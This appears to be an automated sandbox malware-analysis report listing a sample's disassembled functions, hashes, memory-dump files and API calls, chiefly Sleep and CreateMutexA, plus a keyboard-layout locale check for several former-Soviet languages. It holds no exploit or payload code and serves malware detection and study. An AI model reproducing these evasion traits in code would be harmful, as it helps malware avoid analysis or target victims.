Associated: 00000000.00000002.2174267174.00000000012AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174295831.00000000012B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174319547.00000000012B9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 3c558b0d51cfae923713eea845b21d9cca76874b6df8f7daef0778f6e98cf434
Instruction ID: f4a50fba6d494a330bc21a15a06f0d77ce4eade0e2526c73709bdb4792c1f3c5
Opcode Fuzzy Hash: 3c558b0d51cfae923713eea845b21d9cca76874b6df8f7daef0778f6e98cf434
Instruction Fuzzy Hash: 85F1D070A0024C9BEB24DF64CD85BDEBBB9EF44700F5042A9F508E7281DB799A84DF91

Function 00FB9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00FBA963
CreateMutexA.KERNEL32(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.2172833223.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172859499.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172945697.0000000001019000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172965613.000000000101B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172986144.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173006327.0000000001026000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173031775.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173154677.000000000117D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173177073.0000000001180000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000119C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173254094.00000000011A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173276054.00000000011A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173295281.00000000011A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173314298.00000000011A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173336144.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173354350.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173379807.00000000011B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173400052.00000000011B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173426304.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173447328.00000000011CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173476322.00000000011CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173500802.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173521014.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173540689.00000000011E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173570847.00000000011FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173591657.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173615771.0000000001200000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173640446.0000000001207000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173661569.0000000001208000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173682911.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173703949.0000000001219000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173723604.000000000121B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173745809.000000000121C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173764733.000000000121F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173810269.0000000001228000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173832693.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173863808.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173885011.0000000001239000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173917976.0000000001269000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.0000000001275000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174181867.00000000012A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174203476.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174223114.00000000012A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174244742.00000000012A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174267174.00000000012AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174295831.00000000012B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174319547.00000000012B9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a49b168f4f076d7db3336de749fe90185fe7dd2faca1dff6b8a02335bf68cc33
Instruction ID: c4a85eac902a771e4e5c73ca842ec22a91ed9d8e940e3be6143d238dab67a366
Opcode Fuzzy Hash: a49b168f4f076d7db3336de749fe90185fe7dd2faca1dff6b8a02335bf68cc33
Instruction Fuzzy Hash: 93315D71B042019BEB08EB79DD89BEDBB62EFC1320F248219E414D73D5C7794981EB51

Function 00FB9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00FBA963
CreateMutexA.KERNEL32(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.2172833223.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172859499.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172945697.0000000001019000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172965613.000000000101B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172986144.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173006327.0000000001026000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173031775.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173154677.000000000117D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173177073.0000000001180000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000119C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173254094.00000000011A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173276054.00000000011A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173295281.00000000011A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173314298.00000000011A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173336144.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173354350.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173379807.00000000011B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173400052.00000000011B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173426304.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173447328.00000000011CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173476322.00000000011CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173500802.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173521014.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173540689.00000000011E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173570847.00000000011FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173591657.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173615771.0000000001200000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173640446.0000000001207000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173661569.0000000001208000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173682911.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173703949.0000000001219000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173723604.000000000121B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173745809.000000000121C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173764733.000000000121F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173810269.0000000001228000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173832693.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173863808.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173885011.0000000001239000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173917976.0000000001269000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.0000000001275000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174181867.00000000012A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174203476.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174223114.00000000012A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174244742.00000000012A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174267174.00000000012AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174295831.00000000012B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174319547.00000000012B9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 3087c40c067e4dbfe0625f28f6caf729d146f301c20c6dde2218ff0092675190
Instruction ID: 2b0032d84d456bb39fc92284280cca6697b0fa20d0b26202d7e6b6189d40d730
Opcode Fuzzy Hash: 3087c40c067e4dbfe0625f28f6caf729d146f301c20c6dde2218ff0092675190
Instruction Fuzzy Hash: 12316F31704204DBEB18EB79DD897EDB762EF85320F24421DE414EB2D5D77A8980EB52

Function 00FBA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00FBA963
CreateMutexA.KERNEL32(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.2172833223.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172859499.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172945697.0000000001019000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172965613.000000000101B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172986144.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173006327.0000000001026000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173031775.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173154677.000000000117D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173177073.0000000001180000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000119C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173254094.00000000011A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173276054.00000000011A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173295281.00000000011A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173314298.00000000011A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173336144.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173354350.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173379807.00000000011B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173400052.00000000011B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173426304.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173447328.00000000011CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173476322.00000000011CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173500802.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173521014.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173540689.00000000011E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173570847.00000000011FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173591657.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173615771.0000000001200000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173640446.0000000001207000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173661569.0000000001208000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173682911.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173703949.0000000001219000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173723604.000000000121B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173745809.000000000121C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173764733.000000000121F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173810269.0000000001228000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173832693.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173863808.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173885011.0000000001239000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173917976.0000000001269000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.0000000001275000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174181867.00000000012A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174203476.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174223114.00000000012A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174244742.00000000012A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174267174.00000000012AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174295831.00000000012B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174319547.00000000012B9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ba8d35cd4553142eee4e6d1d4915d2d1470b4c35c7270f784d639b0cb7b27afb
Instruction ID: 20c1b14e3674bd424cd146ed98978392ff04be951665eb5e44bc6261e474bfe7
Opcode Fuzzy Hash: ba8d35cd4553142eee4e6d1d4915d2d1470b4c35c7270f784d639b0cb7b27afb
Instruction Fuzzy Hash: B3311871B002009BEB18EB7DDD89BDDB762EF91320F244219E415AB2D5D77A9980EF12

Function 00FBA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00FBA963
CreateMutexA.KERNEL32(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.2172833223.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172859499.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172945697.0000000001019000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172965613.000000000101B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172986144.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173006327.0000000001026000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173031775.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173154677.000000000117D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173177073.0000000001180000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000119C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173254094.00000000011A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173276054.00000000011A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173295281.00000000011A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173314298.00000000011A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173336144.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173354350.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173379807.00000000011B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173400052.00000000011B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173426304.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173447328.00000000011CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173476322.00000000011CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173500802.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173521014.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173540689.00000000011E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173570847.00000000011FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173591657.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173615771.0000000001200000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173640446.0000000001207000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173661569.0000000001208000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173682911.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173703949.0000000001219000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173723604.000000000121B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173745809.000000000121C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173764733.000000000121F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173810269.0000000001228000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173832693.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173863808.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173885011.0000000001239000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173917976.0000000001269000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.0000000001275000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174181867.00000000012A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174203476.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174223114.00000000012A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174244742.00000000012A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174267174.00000000012AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174295831.00000000012B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174319547.00000000012B9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7c5ac8a279115441110840b04b2c31acb38a46fce927f2f399d96af85f6791a1
Instruction ID: 16a47b3c12ca20f9017ecb45b7c22baafdb353d352c9822bc10ea08bdd334cce
Opcode Fuzzy Hash: 7c5ac8a279115441110840b04b2c31acb38a46fce927f2f399d96af85f6791a1
Instruction Fuzzy Hash: 27314A31B002019FEB08EB7DDD89BDDB762EF85320F244219E414AB2D5D77A8980EF12

Function 00FBA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00FBA963
CreateMutexA.KERNEL32(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.2172833223.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172859499.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172945697.0000000001019000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172965613.000000000101B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172986144.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173006327.0000000001026000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173031775.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173154677.000000000117D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173177073.0000000001180000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000119C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173254094.00000000011A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173276054.00000000011A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173295281.00000000011A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173314298.00000000011A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173336144.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173354350.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173379807.00000000011B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173400052.00000000011B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173426304.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173447328.00000000011CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173476322.00000000011CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173500802.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173521014.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173540689.00000000011E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173570847.00000000011FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173591657.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173615771.0000000001200000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173640446.0000000001207000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173661569.0000000001208000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173682911.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173703949.0000000001219000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173723604.000000000121B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173745809.000000000121C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173764733.000000000121F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173810269.0000000001228000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173832693.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173863808.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173885011.0000000001239000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173917976.0000000001269000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.0000000001275000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174181867.00000000012A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174203476.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174223114.00000000012A4000.00000080.00000001.01000000.00000003.sdmpDownload File
